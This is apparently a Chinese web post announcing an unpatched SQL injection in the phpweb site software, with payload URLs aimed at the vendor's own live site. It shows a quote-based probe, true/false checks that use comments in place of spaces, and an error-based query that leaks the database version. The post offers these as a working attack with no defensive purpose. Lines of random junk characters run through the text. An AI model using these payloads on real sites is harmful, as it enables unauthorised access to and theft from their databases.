phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
# D2 |8 l2 Q" ?( o) j% ], u加’检测：
/ o2 A4 w" o- ]4 w3 ?/ ^
http://www.phpweb.net/down/html/?772′.html
; D4 L; ?7 ?. X: ?0 ]$ e! V) e
* M0 _7 \. ~; x$ t5 u3 C7 i; K出错
, I: t9 ^6 w% x2 t6 ^) t存在注入。
. ?6 B! P1 I3 n. g* ?不能用空格，只能用/*罗
$ B0 ?4 A: t% v: x$ Q# J  B+ chttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
9 y1 y8 o: n- J) E4 E
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
8 u' y$ k% ]8 {( T5 W+ m" G爆数据库版本：

?
4 y$ Q) o  L/ A- j. A  r- Q1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
/ b  }# f# ^6 c& j" y